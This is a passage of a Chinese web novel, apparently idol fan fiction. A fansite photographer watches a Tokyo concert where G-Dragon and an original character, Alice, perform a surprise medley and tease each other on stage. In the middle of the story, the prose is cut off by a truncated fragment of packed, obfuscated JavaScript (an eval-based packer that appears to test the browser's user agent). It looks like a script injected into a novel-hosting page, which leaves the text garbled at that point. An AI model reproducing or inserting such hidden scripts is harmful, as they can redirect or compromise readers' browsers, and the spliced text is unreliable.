想知道想到抓心挠肺了……但誓言站姐好像生气了……唉,可以理解……今天这个彩排注定谁也开 心不了。’ ‘谁说的,誓言站姐旁边那个一身粉的那个脸都要笑烂了。’ ‘那个一身粉的难道是传说中的锅姐?是她吧?GA铁血狂粉,id是水晶泡泡锅,妹上个月的杂志她 一个人氪了五万本的那个?’ ‘是她,锅姐现在已经在群里发红包了,说是提前发份子钱,CP粉今天过小年,明年过大年。’ ‘什么?!人性在哪里,道德在哪里,链接又在哪里!?没有别的意思,我就是想进群谴责一下这 种壕无人道的行为。’ 金文蔚感觉胸口有点堵了,她冷着脸退出了中国的社媒,转头进入INS,想看看这里面是什么情 况。 ‘TRUE LOVE 没有……哭泣,哭泣,为了这首歌我特意请假,结果没有这首歌!’ ‘杨贤硕到底在干什么……没有才能的话就退回幕后吧,他现在起到的作用还不如办公室里的高尔 夫球杆’ ‘ROD感觉Alice没怎么唱,还有点拘谨……GD也不批评她,一个劲儿凑上去只是笑,还伸手摸她的 头……彩排垫音……明天怎么办……天啊,为什么要唱ROD……’ ‘心空……Alice的新造型太心空了……没有相机太可惜了但也不是相机能记录下的……用我的眼睛记录下的美貌,感觉要呼吸暂停的程度……’ ‘打起精神来吧杨社长,谁才是你的摇钱树!’ ‘Alice简直是像换了个人一样……一开嗓我都惊了……无比期待明天!’ ‘GD的状态感觉很高,果然陷入爱情的男人就是这样。’ ‘社内恋爱?YG的传统kkkk’ ‘结婚的话希望能在奥林匹克体育场……请让我入场观礼。’ ‘TRUE LOVE TRUE LOVE TRUE LOVE TRUE LOVE TRUE LOVE,请唱这首歌曲!太阳和Alice的合作才 是是最好的,为什么要用一首去年的歌曲来换掉新歌,男人的嫉妒也要适可而止!!’ 金文蔚默默的给这条评论点了个赞,正要继续翻下去,耳边骤然响起了尖叫声,她条件反射的把手 机往腰包里一塞,手腕一提反手就架起了大炮,然后发现开出来的保姆车里是新人组,她嘴一撇, 又把大炮给反架在肩膀上了。 江留月是和Bigbang还有2NE1一起走的,10个人分开坐了三台保姆车,人也是完全打乱的,她看起 来心情很好,山达拉搂着她的肩膀和她咬耳朵,权志龙则和其他人缀在后头,淡色的眸子在粉丝们尖叫着涌过来的扫了一圈,粉丝们莫名就感觉到害怕的退缩了一下。 金文蔚也被他这种眼神给震了一瞬,险些没拍到江留月窝在山达拉怀里笑的瞬间,直到江留月进入 保姆车,她才有闲心又扫了一眼权志龙。 不知道是不是她的错觉,她总觉得最近的权志龙看起来沉默成熟很多,整个人看起来完全沉淀了下 来,之前的年少轻狂仿佛在一夜之间一扫而空,都说人要发生重大变故才会成长,他最近除了进了 两次医院,是有什么变化吗? “说不定决定要结婚了,所以要变成有担当的男人了呢?” 坐在她餐桌对面的朋友兴奋的猜测到。 金文蔚夹起一个寿司直接塞进了朋友嘴里。 朋友差点被噎死,勉强用冰水送下去才开口道:“所以……权志龙到底干了什么,让你那么大反 应?” “参加彩排的大家嘴巴都是一样的严,那几个CP站的也说要等正式开场之后才会出后记免得剧透……一场演唱会,到底有什么好剧透的?” 金文蔚冷笑了一声。 她看向今天因为工作没能参加彩排的朋友,声音平静的说道:“你用自己的眼睛看看呗。” 朋友试探的看向她:“……真的很狗吗?” 金文蔚再次冷笑一声,她今天看彩排受到的冲击已经足够多了,这还是没有舞美没有全场围绕音响 +全场大屏幕的情况下,想也知道,有了这些加持,明天在场的三万五千粉丝会炸成什么样。 次日,金文蔚和朋友一起提前抵达了会场购买周边,因为日本场这边对拍摄行为处罚极为严格,金 文蔚并没有带着自己的长枪短炮,只是在裙子夹层里藏了个小的照相机。 江留月这些年在日本活动不算频繁,她在日本的号召力不如bigbang,开的大多数是见面会和fanmeeting,规模最大也只有万人左右,因此去年的家族con时期,手持她的应援灯穿着她的应援 服的粉丝并不算多。 但今天,金文蔚明显感受到了人数的变化,江留月的个人周边早早售罄,日本粉丝们手里的扇子上 她的名字和贴画也多了起来,她的巨型海报下排队合影的人也大排场龙…… “人气可真是不得了啊……《True Love》有那么火吗?” 朋友嘀咕道。 “不是因为《True Love》她才那么火,是因为有了这首歌,她才被看到了作为歌手的存在。” 中日韩三国粉丝喜好分明,但有一点,绝对是刻在东亚人的DNA里面的。 慕强。 东亚人对强者的崇拜和向往,才是最稳固的羁绊。 也许会沉迷一时的美貌,演员造就的人设,但这些太容易坍塌,一旦幻想破灭,也就离脱粉不远 了。 唯有绝对的实力和作品,才是亘久不变的吸引力。 江留月一直以来人气都很不错,路人盘也很大,但大家对她的认知永远停留在YG团宠和那张漂亮脸 蛋上,平时这种认知还不明显,到了家族CON这种拼盘演唱会的时候就很明显了。 因为她之前的舞台算不上出色,因此她自己的粉丝对于费心高价搞到票来看她一个十来分钟的舞台 这件事情热情度不高,路人粉就不要提,本身家族CON这种把公司里的大小妖怪都放在一个舞台上 表面说是家族欢聚其实是前后辈斗法的舞台,江留月本来还算中等的水平一下子就被踩到最底下, 看看YG这群妖怪,男团有bigbang,女团有2NE1,女SOLO有gummy,男solo有PSY,乐团有 epikhigh,个个在领域里都是拔尖的存在,江留月一个孤家寡人且大部分歌曲为可爱风、抒情风的 女solo拿什么跟他们拼舞台表现力? 《True love》之所以重要,就是因为它打破了大众的固有印象,压倒性的舞台表现力,震慑级的 唱功,江留月打得何止翻身仗? 一个本身只差舞台分的艺人,一旦在自己的短板里拿到了高分,反差感和冲击性是极为强烈的。 金文蔚在彩排的时候知道没有了《True Love》的时候,差点就破口大骂,也是因为知道这首歌对 于江留月接下来的日本市场活动很重要的缘故。 “不过,不是没有《True love》了吗?真的吗?假的吧……不然你怎么那么平静?” 演唱会间隙,朋友跟金文蔚咬耳朵。 金文蔚又是一声冷笑,她没有说话,海啸一般的尖叫和欢呼中,舞美陡然从刚才eh的乐团风格切换至狂热的火红色————接下来是权志龙的个人solo了。 即便看不惯权志龙,金文蔚也得承认,这男人的舞台实在是一种震撼人心的视觉听觉盛宴,就连她 都会不自觉跟着哼唱那些朗朗上口的音调。 以《放纵》结束第二首歌曲之后,权志龙咕咚躺倒在了舞台上,然后舞美灯光依次关闭,变成聚光 打在他的身上,权志龙清唱了两句歌词之后,在乐队的钢琴伴奏下用日语问好,随着他起身盘腿坐 在地上,更大的尖叫声变成浪潮席卷。 此时伴奏的声音完全停止,权志龙拿着话筒,汗水顺着他浓艳的妆容往下流淌,他胸口还因为刚才 激烈的舞台不断起伏,他将嘴唇凑到话筒跟前,还没说话先喘了两口气。 “骚。” 金文蔚锐评。 但显然,台下的妹子们太吃这套了,尖叫声刺得金文蔚耳朵都疼了。 权志龙平复了一下呼吸,他看着台下,慢慢的对着话筒开口了:“你就是那个让我像孩子一样快乐 的人……” 纯粹的清唱,让歌词变得格外清晰,咬字咬得甚至都不像是权志龙的风格了。 乐队没有给出任何声音,在短暂的尖叫欢呼之后,权志龙手掌下压,粉丝们纷纷安静下来,听他继 续清唱: “要是不想你的话,最多坚持10分钟” 权志龙暂停了一下,把话筒暂时下压,欢呼和尖叫的浪潮再次席卷而来,他再次开口的时候,却直 接切到了后面的歌词,而是做了变调处理: “你是一只buttfly,花园里的蝴蝶效应” “只是小小的微笑,也在我的心里掀起飓风” 他又暂停了一次,然后微微一笑,再次切了歌词: “我是现实主义的话你是梦想家, 你去的地方,就算是梦里也会追上去” 权志龙顿了一下,他低着头吸了一口气,抬起手在空中比划了两下,开始不断的重复这两句话: “你去的地方,就算是梦里面我也会追上去” “你去的地方,就算是梦里面我也会追上去” “你去的地方,就算是梦里面我也会追上去” 他每次重复,尾音的重读就会拉长,而乐队适时在尾巴上补上了伴奏,随着他这句歌词重复的速度 频率加快,气氛被越拔越高的时候,权志龙张开的手忽然握成了拳头,所有的伴奏都戛然而止,摄 像头推进特写到他的脸上。 在场所有人都忍不住屏息了一刻。 因为此刻,权志龙的表情,本来只是汗淋淋的脸庞,竟然是像是浸透了雨水或者眼泪一般,带着一 种迷茫的悲伤和温柔。 他缓缓地吐出一口气,用日语很慢很温柔的问道:“你在哪里呢?” “……Alice?” 随着他吐出这个名字,他头顶的追光忽然熄灭,全场都变成全黑,ROD的节奏被做了游戏特效音并 放慢,随着音乐的响起,极具电子风格的彩色几何体光影在巨大的会场里迅速汇聚,最终集中在大 屏幕上,方块迅速分割成无数个像素块,在黑色的大屏幕上汇聚成背景和两个小人。 这两个小人头顶冒着GD和Alice这两个名字,形象设计大约是参考了《雌雄大盗》里男女主人公的 形象,也是为了切合ROD这首歌的歌词,两个小人在屏幕上来回逃窜,不时回头举枪向身后射击追赶来的怪物。 随着两个人和怪物的战斗,气氛越来越紧绷,眼看怪物就要吞噬两个人,GD小人抢先挡在了Alice 小人前面,用手臂挡住了自己的脸。 怪物张开了血盆大口,就在这关键时刻,音乐忽然开始卡顿,停留在ROD后半段的部分,怪物的动 作也跟着卡住了。 音符变得急促起来,画面也跟着一起闪烁,本来被GD保护在身后的Alice小人忽然蹦了出来,音乐卡顿的节奏随着她跳跃、腾空、落地的动作逐渐变得流畅,在她落地的瞬间,发出超级玛丽吃蘑菇 一样的效果音,然后音乐在这里巧妙的加入了伴奏,整体变得更加的欢快,丝滑的过度到了另一首 歌曲。 “……是TRUE LOVE?” 金文蔚不太敢相信的猜测,下一秒,音乐又过度到了《紫雨》,这是江留月上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Alice小人正在和怪兽战斗,每战斗一次,她的形态就发生改变,从2012年的《紫雨》开始往回蜕 变,最终,在她几乎和怪兽一样大的时候,她的造型变成了蓝白色的裙子,她头顶上的Alice的字 眼越来越大,越来越大,在随着怪物倒地的同时占据了整个屏幕。 与此同时,舞美灯光再次亮起,江留月同名出道曲《Alice》的伴奏从游戏电子音转为气势恢宏的 乐队伴奏,巨大的屏幕打开,全场追光聚集一处,乐队在这里转为俏皮活泼的风格,在欢呼声中, 江留月出现在舞台中央。 金文蔚一下子话都说不出来了。 这和彩排时不一样,不是江留月穿着T恤长裤站在舞台中央。 她此时,头发也变成了短发,身上穿着的,正是她2008年出道初舞台时参考《Alice漫游仙境》时 的蓝白色裙子造型,鬼马活泼的无数彩灯光点摇晃中,她蹦蹦跳跳的出场,张口第一句就将她扯回 了2008年的初夏。 “烦恼痛苦悲伤全部再见,夏日午后睡觉的好梦,Alice~出现!” 有点中二,过分活泼开朗,甜的像是夏日冰镇的碳酸汽水,砰的一声闯入当时沉闷的歌谣界,那个 笑容灿烂的Alice,在这一刻,跨越了漫长的时间,从天而降了。 甜美活泼的《Alice》是夏日清爽的甜品,帅气甜酷的《blingbling》是混杂着下水道蒸汽的盛夏 夜晚,婉转哀切的《紫雨》是秋日冰冷的雨水,短短两分钟的串烧,江留月已经唱完了自己的三首 代表作,紫雨凄切的尾音伴随着雨水落下的伴奏声,场馆里雅雀无声,然后,传来了有人在雨天里 走路的脚步声。 《紫雨》混合《ROD》的伴奏声再次响起,怪物的身影通过光影折射在场馆里,江留月抬起自己的 话筒,做出和动画里一样的动作,转过身,对着怪物打出了一枪。 “砰!!!!!” 四处迸溅的烟花和《ROD》激昂的节奏同时响起,干冰烟雾中权志龙身穿一身迷彩风的舞台装再次 登场,他头发有一半往后梳,露出锋利的下颌骨和高挺的鼻梁,淡色的瞳孔里没有任何情感,近乎 无机质的扫视了一圈现场。 他伸出手,指向了江留月站着的位置: “你就是那个让我像孩子一样快乐的人,不去想你的话我最多坚持10分钟” 舞台和追光在这个瞬间聚焦在他的身上,江留月身上的追光消失,她整个人都隐入了黑暗之中。 《ROD》在这个时候,才算是正式开场,权志龙一边唱一遍往前走,他的歌词大约有1分钟的时间。 在唱到最后一句“I’m be ya James bond 一直都是你”的时候,权志龙忽然伸出手,指向了江留 月之前站的位置。 “you got me losing my mind” 舞台的舞美和灯光瞬间大亮,江留月就在那最亮的核心,她的短发已然消失,取代的是一头蓬松的 粉蓝色卷发,身上蓝白色的小裙子也变成了甜酷风的迷彩外套+及膝裙的舞台装,刚才那种甜美可 爱的氛围感一扫而空,声音极有质感的将情绪激烈的rap狠狠下压。 这是一段很长的英语歌词,江留月唱完之后却没有离开,而是撩了一下自己的头发,对着台下已经疯了的粉丝们微微一笑,垂下蝴蝶翅膀一般的睫毛,看着权志龙抓住拍子在她身边开始他的部分。 权志龙这段rap又快又稳,整个人如同黏在她身边一般,在唱到“在绿色的原野上给你盖一座画一 样的房子”的时候,他在空中虚虚的画了一个房子的形状往江留月身上一推,江留月没忍住笑了。 权志龙往前一步走,然后单膝半跪下,在空中虚晃了一下,江留月则伸出了自己的手,迎合他的下 一句歌词: “在你的无名指上戴上拇指那么大的戒指” 唱完了这一句,权志龙直接顺势起身,和江留月的距离拉得极近,淡色的瞳孔一眨不眨的盯着她: “这个世界是礼物的话你是主人就好了,这疯了一样的情歌,你就是我的主人公不是吗?” 这个临时改歌词显然吓了江留月一跳,她下意识的瞪大了眼睛,又立刻掩饰的垂下睫毛,心里暗骂她哥是个疯子。 好在权志龙也知道自己这样太过了,立刻转身面向了观众继续下面的歌词,江留月则压下心跳,走 上前和他一起完成了ROD的舞台。 台下的欢呼声经久不息,直到伴奏落下,灯光缓缓亮起,此时竟然是个talk环节。 这下金文蔚都觉得惊讶了。 权志龙还在不依不饶的清唱:“为什么我的日历上都是红色,cuz everyday is your birthday~” 江留月想要问好,也被她哥无数次打断,就是翻来覆去的说那句“cuz everyday is your birthday”。 江留月忍了又忍,无需再忍,放下话筒用韩语对她哥吼道:“闭嘴啦!” 权志龙猛然睁大了眼睛,他对准话筒,用日语奶声奶气的说道:“怎么了,怎么了,为什么骂我, 为什么骂我。” 江留月:“……” 她深吸了一口气,对着权志龙比了个手势:“先问好吧,志龙。” 因为在日本,她也不用叫哥,因此大逆不道的直呼她哥本名,又引发了台下的一阵尖叫和她哥的装 傻充愣。 她哥站在那,用手捂着自己的胸口来回比划,满脸都是不可置信:“我?志龙?你?志龙?我?” 眼看江留月的怒气值在上涨,权志龙猛然收回,面向粉丝乖巧的用日语说道:“是的,我是志龙, 志龙是我,东京的各位朋友们,这里是志龙。” 江留月以为她哥总算恢复正常了,自己也要问好的时候,权志龙忽然又指向她:“这是Alice,” 他又指向自己:“这里是GD。” 不等江留月制止,他就对台下的粉丝们问道:“我们的舞台如何?” 粉丝们自然给了最强烈的回应。 在欢呼的浪潮中,权志龙顶着江留月不可置信的眼神,说出了那句根本不存在于任何彩排中的话: “果然,比起《True love》,果然大家还是更喜欢这个舞台吧。” 江留月:“……” 她深吸一口气,强行让自己挤出一个笑容,看似很轻的打了一下权志龙,实际上狠狠掐了一把他的 胳膊:“说什么呢,志龙,SOL桑在后面听着呢。” 权志龙吃疼的啊呜啊呜的捂着自己的胳膊,故意把话筒对着自己叫:“好疼,好疼,一呆一呆!” (注:一呆为日语疼的音译。) 江留月哪能想到他竟然不管talk直接喊疼,顿时脑门子汗都要出来了,又是瞪眼又是做口型警告。 权志龙见好就收,嘤嘤嘤的站好了,然后拿起了话筒,似乎在酝酿什么。 看来是终于记起来talk环节的内容了。 江留月刚松了口气,就听见权志龙奶唧唧的日语:“Alice酱,凶,志龙,一呆。” 江留月:……刚才怎么没真的一枪给他崩了?